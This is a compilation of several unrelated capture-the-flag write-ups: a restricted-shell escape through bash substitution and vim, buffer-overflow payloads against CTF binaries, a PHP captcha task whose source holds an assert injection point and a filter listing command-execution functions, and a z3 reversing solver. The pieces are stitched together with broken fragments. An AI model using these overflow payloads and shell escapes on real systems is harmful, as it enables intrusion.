>Come check out the latest blogging platform all the cool kids are using! I tried my hardest to make it hack-proof. If you can read the admin's hidden posts, I'll even give you a flag!! [Good luck](http://c1.easyctf.com:12491/)!?
**Hint:**
>you wish
### Write-upTask not solved___
## LicenseCheck
**Category:** Reverse Engineering**Points:** 300**Description:**
>I want a valid license for a piece of software, [here](resources/reverse_engineering-300-licensechecklicense_check.exe) is the license validation software. Can you give me a valid license for the email ```[email protected]```?>Note: flag is not in easyctf{} format.
**Hint:**
>(No hint)
### Write-upTask not solved___
## Special Endings
**Category:** Forensics**Points:** 350**Description:**
>She taught us so much... [tribute](resources/forensics-350-special_endings/encrypted_lines.txt)
**Hint:**
>RFC 4648
### Write-upTask not solved___
## Fanfic Studio
**Category:** Binary Exploitation**Points:** 350**Description:**
>Go to ```/problems/fanfic``` to check out my cool fanfic writing tool. I expect you to send me some steamy fanfics of michael.
**Hint:**
>(No hint)
### Write-upTask not solved___
## RSA Returns
**Category:** Cryptography**Points:** 400**Description:**
> It's the return of everyone's favorite cryptosystem! Crack it for another flag. Help me decipher [file](resources/cryptography-400-rsa_returns/hardrsa.txt).
**Hint:**
>lolno
### Write-upTask not solved___
# Scoreboard
After solving all these tasks in a team of one player, my team **TheEmperors** get the score 2271 and get ranked 111/2146 :
......
...
...
|
# Special (Pwn)
A classic restricted shell jailbreak task.We can ssh to a server and we get access via some kind of restricted shell.It's all blackbox, so we need to poke around a bit to figure out what we can and can't do.
We get only messages from stderr, which makes things a bit harder.Sending some random payloads tells us that our commands are executed via `bash -c "cmd"`.There is also some input filtration applied.
We can send as command `$PWD` which shows error `bash: /home/special: Is a directory`.This is very useful, because we can send for example `$PWDabcdefg....` and in the error log we get back the string without the filtrated characters.From this we know that we can use `{}|;:<>$'#^_+-` and all uppercase letters.
Next we proceed with testing bash special variables, and from this we get an interesting result for `$_`:
```declare -x A="T"declare -x AB="HI"declare -x ABC="ISN"declare -x ABCD="OTTH"declare -x ABCDE="EFLAG"declare -x ABCDEF="BUTMAY"declare -x ABCDEFG="BEITCAN"declare -x ABCDEFGH="HELPGETT"declare -x ABCDEFGHI="INGFLAG:D"declare -x OLDPWDdeclare -x PWD="/home/special"declare -x SHELL=""declare -x SHLVL="1"declare -x _="export"```
Now what we want to do, is to create some meanigful command.Sadly we don't have `()` so we can't do any `calculations` and therefore create numbers.The intended solution was to use `${#variable_name}` to get length of the variable, and thus get some numbers, but we didn't know that...
What we can do is to use `${variable:K:N}` which is a substring from index `K` with length `N`.We have only `$SHLVL` which has value `1` and `$#` with value `0`, and with those we can get:
```slash -> ${PWD::$SHLVL}h -> ${-::$SHLVL}a -> ${PWD:$SHLVL$SHLVL:$SHLVL}i -> ${PWD:$SHLVL$#:$SHLVL}e -> ${_:$#:$SHLVL}x -> ${_:$SHLVL:$SHLVL}```
Again, the intended solution was to get `s` and `h` and spawn a shell, but we didn't have `s`.Fortunately we figured out that we can run `ex` command, which spawns `vim`!
From `vim` we can simply run `:!sh` to spawn a shell, and read the flag: `Flag{B4sh_subst1tut1on_is_gud!}` |
[https://blog.compass-security.com/2018/03/insomnihack-2018-vba02-bitminer/](https://blog.compass-security.com/2018/03/insomnihack-2018-vba02-bitminer/) |
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# No mercy (Pwn)
We get [ELF binary](no_mercy) with canary and NX on.There are two blatant buffer overflows in the code, since it's using `gets`:
```cint main() { var_AC = *(ecx + 0x4); var_C = *0x14; eax = 0x0; var_70 = 'Flag'; // 0x08048573 var_6C = '{fla'; var_68 = 'g_is'; var_64 = '_on_'; var_60 = 'serv'; var_5C = 'er}'; eax = &var_58; ecx = 0x0; ebx = 0x1a & 0xfffffffc; edx = 0x0; do { *(ebp + edx + 0xffffffa8) = 0x0; edx = edx + 0x4; } while (edx < ebx); var_70 = 'Flag'; *(int16_t *)(eax + edx) = 0x0; eax = 0x2 + eax + edx; eax = strcpy(&var_A2, &var_70); eax = printf("what's your name: "); eax = gets(&var_3E); // Buffer overflow eax = printf("Welcome %s\n", &var_3E); eax = printf("so tell me a joke: "); eax = gets(&var_70); // Buffer overflow eax = printf("so silly , gtfo ==>[]"); eax = dup2(0x1, 0x2); esp = ((((((((esp - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10 - 0x10) + 0x10; eax = *0x14 ^ *0x14; if (eax != 0x0) { eax = __stack_chk_fail(); } else { ebx = stack[2046]; esp = &var_8 + 0xc; ebp = stack[2047]; esp = stack[2045] + 0xfffffffc; } return eax;}```
The trick here is that once you smash the stack, the server actually sends you the error message.This message contains the name of the binary.The idea is to overwrite the pointer which points to the binary name, and place there the pointer to flag contents.
The payload we send is: `'a' * 234 + '\x73\x85\x04\x08'`.We need to go up 234 bytes to reach the pointer position with binary name and then we overwrite it with the flag address.From this we get back: `Flag{sm4ash_argv_sm4sh_env_sm4sh_ev3rything!}` |
# ROP To The Top
**Category:** Binary Exploitation**Points:** 130**Description:**
> Rop, rop, rop> Rop to the top!> Slip and slide and ride that rhythm...> > Here's some binary and source. Navigate to /problems/roptothetop/ on the shell server to try your exploit out!
## Write-up
```python./rop $(python -c "print 'A'*44+'\xdb\x84\x04\x08'")```
|
# Rop to the Top
We again get an ELF executable and the corresponding source code. ```checksec rop_to_the_top32``` reveals the properties of the binary and its security mechanisms we're facing in this challenge:* i386-32-little* Partial RELRO* No canary found* NX enabled* No PIE
Upon execution (if we forget to look at the source code^^) we find out that the binary requires a command line argument passed to it. It then states that the input has been copied and exits. If we enter a relatively long string, e.g. 50 characters, we get a segmentation fault which is due to a buffer overflow vulnerability that lets us overwrite the return address of the function. But before exploiting it, we need to find out, what we actually want to achieve.
Via ```objdump -d rop_to_the_top32``` we get an overview of the available functions. We find one interesting function, called "the_top", at ```0x080484db```. As it is never called (verify this in GDB!) we probably need to jump there in order to get to the flag. Our buffer overflow from before can be used for this!
In GDB we determine the size of our buffer by provoking a segmentation fault as before. Then we iteratively reduce the input string length by one until there is no segfault anymore. The unproblematic input size is exactly 44 bytes. To jump to the ```the_top``` function, we need to pass a 44 bytes string and the jump address to the program.
This may look something like this: ```./rop_to_the_top32 $(python -c 'print("A"*44+"\xdb\x84\x04\x08")')```
Pew pew pew, the flag!
## actf{strut_your_stuff}
|
# Captcha Revenge (Web)
In the task we get a website which displays some brainfuck code and an audio captcha challenge.If we have 0 captchas solved, it actually tells us the solution for the first one.The goal is to get a certain number of correct, consecutive solutions.Brainfuck part is rather trivial, we have challenge like:
```Can y0u print something out of this brain-fucking c0de?++++++++++[ > ++++++ < -]>.[-]++++++++++[ > ++++++ < -]>+++.[-]++++++++++[ > +++++++++++ < -]>++.[-]++++++++++[ > ++++++++++ < -]>++++.[-]++++++++++[ > +++++++++++ < -]>++.[-]++++++++++[ > + < -]>.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++++++.[-]++++++++++[ > ++++++++++ < -]>+.[-]++++++++++[ > ++++++++++++ < -]>.[-]++++++++++[ > +++++++++++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > ++++++ < -]>+.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++++ < -]>+.[-]++++++++++[ > +++++ < -]>+++.[-]++++++++++[ > ++++ < -]>++++++++.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > +++++ < -]>++.[-]++++++++++[ > ++++ < -]>++.[-]++++++++++[ > +++++ < -]>+++++++.[-]++++++++++[ > +++++ < -]>+.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > +++++ < -]>.[-]++++++++++[ > +++++ < -]>+.[-]++++++++++[ > ++++ < -]>+++.[-]++++++++++[ > +++++ < -]>++++++.[-]++++++++++[ > +++++ < -]>+.[-]++++++++++[ > +++++ < -]>.[-]++++++++++[ > +++++ < -]>++.[-]++++++++++[ > ++++ < -]>+++++++++.[-]++++++++++[ > ++++ < -]>+++.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > ++++ < -]>+++++++++.[-]++++++++++[ > +++++ < -]>+++++++.[-]++++++++++[ > ++++ < -]>++.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > ++++ < -]>++++++++.[-]++++++++++[ > ++++ < -]>++++++++.[-]++++++++++[ > +++++ < -]>++.[-]++++++++++[ > +++++ < -]>+++++.[-]++++++++++[ > ++++ < -]>+++.[-]++++++++++[ > ++++ < -]>+++++++++.[-]++++++++++[ > +++++ < -]>+++.[-]++++++++++[ > +++++ < -]>+++++++.[-]++++++++++[ > +++++ < -]>+++++++.[-]++++++++++[ > +++++ < -]>+++++++.[-]++++++++++[ > + < -]>.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > ++++++++++ < -]>+.[-]++++++++++[ > +++++++++ < -]>+++++++++.[-]++++++++++[ > ++++++++++ < -]>++++.[-]++++++++++[ > +++++++++++ < -]>+.[-]++++++++++[ > +++ < -]>++.[-]++++++++++[ > ++++ < -]>.[-]++++++++++[ > ++++++++++ < -]>+.[-]++++++++++[ > ++++++++++++ < -]>.[-]++++++++++[ > +++++++++++ < -]>++.[-]++++++++++[ > ++++ < -]>+.[-]++++++++++[ > +++++ < -]>+++++++++.[-]++++++++++[ > + < -]>.[-]++++++++++[ > ++++++ < -]>+++.[-]++++++++++[ > ++++++ < -]>++.[-]```
Which translates to:
```php
```
There can be examples in other languages, but in all cases we have `exp = some_equation`, so we can simply eval this in python.We grabbed some random python lib to evaluate brainfuck, and then just did:
```pythondef evaluate_brainfuck(code): some_code = brainfuck.evaluate(code) bf = re.findall(r"exp = (.*)\n", some_code)[0] return str(eval(bf)) # let's hope they won't send anything nasty...```
The hard part seems to be the captcha itself. We've done a fair share of those in the past, but this one was actually hard.Stuff like Google Speech API would fail, and we couldn't simply cut this in parts and match individual numbers, because they were slight differences between captchas (pitch, speed etc).
However, we noticed that this is a `web` task and not a `ppc`!So maybe we don't really have to solve any captchas at all?
Some dirbusting got us a hit on `.git`, which meant we could download the [source code of the challenge](source.php).
There was an interesting function:
```phpfunction is_clean($input){ if (preg_match("/SESSION/i", $input)){//no seesion variable alteration bad_hacking_penalty(); return false; } if (preg_match('/(base64_|eval|system|shell_|exec|php_)/i', $input)){//no coomand injection bad_hacking_penalty(); return false; } if (preg_match('/(file|echo|die|print)/i', $input)){//no file access bad_hacking_penalty(); return false; } if (preg_match("/(or|\|)/", $input)){//Be brave use AND bad_hacking_penalty(); return false; } if (preg_match('/(flag)/i', $input)){//don't take shortcuts bad_hacking_penalty(); return false; } //clean input return true;}```
Which was used to filter our answer because it would go into `assert("'$real_ans' === '$user_ans'")` and `assert` works like `eval`, so otherwise we could actually execute code there.It's quite obvious that intended solution was to bypass those checks and gain RCE, but we're too lazy for that.
We noticed in the code that captchas come from:
```phpfunction random_string(){ $captcha_file = "xxxxxxxx"; $random_index = rand(0, 999); $i = 1; foreach(file($captcha_file) as $line) { if ($i == $random_index) return $line; $i++; }}```
Which means there are only 1000 unique options to choose from.Why not just download a lot of them and actually solve the game?It's doable since they tell us the solution for a captcha if we have 0 solved.We can simply do a GET to the page, download captcha, read the solution, and save the file for future:
```pythondef download_captchas(): url = "http://51.15.73.163:13335/" we_have = {} for file in os.listdir("download"): with codecs.open("download/" + file, "rb") as input_file: we_have[input_file.read()] = file while len(we_have) < 1000: r = requests.get(url) id = re.findall("source src=gen_cap/(.*) type=", r.text)[0] answer = re.findall("e.g Type '(.+?)'", r.text)[0] b = requests.get(url + "gen_cap/" + id).content if b not in we_have: print("new one!", len(we_have)) we_have[b] = answer with codecs.open("download/" + answer, "wb") as output_file: output_file.write(b)```
This code simply downloads and stores unique captchas.
In the meantime we can try to win the game with the captchas we already have.We just go on the page, download captcha and check if we got this one.If we do, then we send the answer.Otherwise we start all over again:
```pythondef solve(): while True: try: captchas = {} for file in os.listdir("download"): with codecs.open("download/" + file, "rb") as input_file: captchas[input_file.read()] = file url = "http://51.15.73.163:13335/" r = s.get(url) for i in range(501): brainfuck = re.findall("c0de\?\n(.*?)</div>", r.text, re.DOTALL)[0] brainfuck = brainfuck.replace(">", ">").replace("<", "<") id = re.findall("source src=gen_cap/(.*) type=", r.text)[0] b = requests.get(url + "gen_cap/" + id).content brainfuck_answer = evaluate_brainfuck(brainfuck) captcha_solution = captchas[b] r = s.post(url, data={"captcha": captcha_solution, "answer": brainfuck_answer}, cookies={"PHPSEESSID": "p4rulezz"}) print(r.text) break except KeyError: print("missing captcha :(") pass```
This code will loop until we actually get the flag.It took a while to download enough examples to win, but in the end we got: `CTF{too_many_captchas_but_PHP_made_it_a_cakewalk}`But in our case PHP didn't really help at all. |
today I'm too lazy to write a beautiful write-up, so only a script :D
briefly it's the most common rev task with equation, it's just check flag in different threads.
```from z3_staff import * # https://github.com/KosBeg/z3_staff
create_vars(45, size=8, step=8)solver()init_vars(globals())set_ranges(step=8)
add_eq(9*x200+5*x64+x296*28*x184+6*x104-6*x136-3*x208-2*x288-6*x32-10*x232-8*x24+x192*99*x72+4*x152+x88*84*x96==1373634)add_eq(-11*x184+9*x288+-7*x288+x304*78*x0-8*x320-x320-x336*10*x272-7*x288+x288+x104*x112*560*x272-x256+11*x256+15*x280==805471623)add_eq(2*x96+x24*225*x0-12*x288-7*x24-x344*12*x56-12*x344-x0-x32*18*x232-x88*x168*75*x16+12*x96+15*x200==-31526095)add_eq(5*x184+x8+4*(2*x232-x144-x168)+x224*39*x96-x288*x176*30*x168+8*x208-x208+x144+12*x0-10*x136-12*x216*x136==-20510795)add_eq(x144+5*x296+15*x344+x128+11*x104+x48*15*x184-6*x160-x64*10*x184+135*x160*x48+10*x152-6*x144+14*x16-12*x264==1333282)add_eq(x80*x0*182*x192+x256*2*x240-4*x312-x312+10*x256+8*x136-8*x240+4*x272-12*x232-x96*55*x328+x64*x32*1144*x136==1381453791)add_eq(-7*x160+-3*x344+x232-7*x280+11*x272-x312*x208*18*x296-4*x0+2*x64-8*x216+8*x120-x120-x208*8*x264-13*x208==-19729480)add_eq(13*x232+x288*132*x0+13*x152+3*x8-x240*14*x240+x272*60*x24-14*x208-8*x224-x224+3*x152+10*x56-x32+x240+8*x336==1311351)add_eq(x80+x72*10*x112+8*x352-3*x104-x56*90*x208-6*x216+11*x8+6*x216+2*x192+x216-x232-8*x264-x264+6*x8-13*x88==-563008)add_eq(-7*x192+-11*x216+-11*x72+x96+x304*70*x240-10*x232-2*x320-6*x224-x344*8*x48+10*x200-2*x96-x24*x344*((x320<<8)-32*x320)==-267345737)add_eq(11*x248+13*x144+x144*84*x208-12*x56+14*x336+6*x184-x160*x264*1260*x192-x352*98*x136+x328*270*x344*x264+10*x64==-701812476)add_eq(x344+x216+3*x232+-9*x160+4*x120-x200-x328+15*x96-6*x104+4*x72-x32*24*x224+130*x32*x328+14*x24+8*x0-x0==584152)add_eq(x184+5*x328+9*x24+x8*15*x328+5*x176-15*x200-x248*24*x176-4*x96-x128*36*x352-10*x32+9*x64-45*x272*x8==-923909)add_eq(-5*x184+15*x208+8*x200+15*x184-x8*90*x48-6*x256-4*x64-13*x256+x208-x112*70*x184-4*x72-8*x152-x96*78*x264==-1952483)add_eq(15*x280+-13*x112+-7*x328+-7*x304+9*x24+x312*x72*360*x128+6*x192-x240+135*x16*x128-9*x72+4*x240-x184*112*x80==118806054)add_eq(3*x248+6*x152-x56*130*x288+12*x320-x96*42*x248+4*x16+10*x0+x80*99*x224-x272*40*x192-8*x40+x96+7*x0==-1038889)add_eq(-11*x344+x160*20*x352+x280*60*x40-x320*x24*1008*x8+8*x352-10*x224-7*x280-2*x216-4*x136-x136-8*x208-x144-8*x72==-1324642844)add_eq(9*x40+x64+x0+10*x24-x104*84*x16+x216*16*x224+12*x224+2*x88-14*x320-12*x256+15*x80-4*x184-x184-3*x88-5*x40==-914171)add_eq(x352*55*x120+x136*48*x288+2*(x152+6*x16)-x112*14*x304+11*x16-12*x48*x112+8*x88-x88+x184*13*x144-10*x32+3*x168==986086)add_eq(-3*x136+9*x192+4*x296+9*x272-4*x272+8*x120+x56*40*x336+10*x120-x88*x216*360*x128+12*x40-15*x80*x128+13*x8==-62537013)add_eq(-3*x104+-13*x304+15*x208+11*x104+x184*110*x64+2*(-3*x200+5*x216)+x296*x72*550*x272-4*x56-x56-x248*135*x296+12*x88-9*x64==498719083)add_eq(11*x48+x200+7*(x256+x208)+x288*180*x264+x280*99*x72-12*x336-x176*32*x216+10*x120+15*x64+8*x32-10*x264+14*x64==910067)add_eq(9*x176+-7*x216+8*x8+4*(3*x72-3*x248)-6*x80+2*x304+8*x328-x328-4*x104-x104-2*x64-x80*60*x128+x8*60*x304-x224*7*x8==447630)add_eq(9*x320+11*x144+3*x168+-13*x8+x248+x240-4*x232+8*x32-x32-x288*210*x232-14*x296-6*x352*x168-2*x312+8*x232+4*x280==-1562727)add_eq(13*x160+7*x16-14*x336-4*x192+8*x296+x152*78*x288-63*x192*x336-x144-2*x160-4*x248+4*x120+10*x304+7*x160-4*x208==-471203)add_eq(-7*x152+7*x112+13*x48+x336+x184*4*x136-2*x320-13*x136+9*x112+14*x8-x40*39*x104+6*x256+4*x232-x296+14*x192==-262868)add_eq(11*x72+x8*56*x16-4*x48-x48-x160*77*x112-12*x272-11*x304-8*x40-15*x208+x88*x328*72*x232-x144*x280*528*x256==-716423735)add_eq(15*x40+x264*130*x320+x32+2*x80-x280*132*x128+x112*75*x184-2*x192-6*x256-2*x208+4*x320-11*x120+4*x152-8*x40==856586)add_eq(13*x264+x160+4*(x48-x160)+8*x352-x352-x104*90*x288+6*x160-4*x296-x296+x88*x256*20*x56-4*x72-x72+2*x232-10*x0+x184*156*x88==5981100)add_eq(9*x24+-5*x272+6*x352-11*x168-14*x32-8*x40+x312*1344*x32*x168+5*x320+15*x8-x216*15*x208-10*x104+11*x128+8*x136-x136==1411741755)add_eq(3*x328+5*x48+8*x80+10*x64-x328*28*x72-10*x240+10*x168+10*x152-x192+5*x64-10*x176-3*x184+4*x256+9*x240+11*x224==-117294)add_eq(13*x56+-7*x104+9*x216+-2*x280+12*x272-3*x112+63*x352*x216-7*x160+x296*70*x336-x256*156*x152-2*x96-12*x80==656269)add_eq(9*x344+15*x232+x8*120*x352+12*x104+12*x120+14*x256+10*x200+13*x296-4*x176-x176+8*x208-x208-4*x288-x288-x104+7*x104-x320*36*x304==1256993)add_eq(5*x248+-15*x312+x152*90*x144+x216*16*x128-x352*x328*70*x224+2*x64+x336*35*x304+10*x56+2*x96+8*x232+4*x160==-53357640)add_eq(15*x0+13*x104+-13*x24+3*x120+3*x272+6*x312-x256*60*x304+15*x264+x48*60*x256-4*x240-x240-8*x288-x288-x88+8*x280+7*x0==-119712)add_eq(-11*x48+13*x232+13*x224+x232+-7*x160+5*x128+15*x80+4*x328+2*x136-15*x144-10*x240-6*x192+13*x0-48*x344*x144-2*x56==-586617)add_eq(11*x144-8*x176+4*x136-9*x232+8*x112-8*x8-12*x304+2*x208-11*x112+6*x24+x312*3*x280-10*x128+22*x168*x232+14*x336==302239)add_eq(9*x0+9*x8+x48*156*x192-4*x256-x256+2*x312+15*x72+10*x192-4*x152+8*x160+4*x160-8*x184-x184+13*x320-7*x232-3*x288-12*x0==1457854)add_eq(13*x8+-3*x200+x224*150*x216+-13*x344+x304*12*x0-4*x232-x80-2*x336+4*x208-8*x264-10*x96+x312*18*x192+13*x160==1675940)add_eq(13*x40+13*x288+7*x72-15*x240-12*x344+11*x320-12*x144+12*x96-11*x144-x32*104*x0-x160*132*x8-8*x48+8*x152-x152+5*x112==-2582478)
set_known_bytes('VolgaCTF{*}', step=8, type='ff')
i = 0start_time = time.time()while s.check() == sat: prepare_founded_values(step=8) print prepare_key(step=8) iterate_all(step=8) i += 1print('--- %.2f second(s) && %d answer(s) ---' % ((time.time() - start_time), i) )```
```PS C:\!CTF> python YSNP_solver.pyVolgaCTF{D1$guis3_y0ur_code_and_y0u_@re_s@fe}--- 1.33 second(s) && 1 answer(s) ---```
flag is: VolgaCTF{D1$guis3_y0ur_code_and_y0u_@re_s@fe} |
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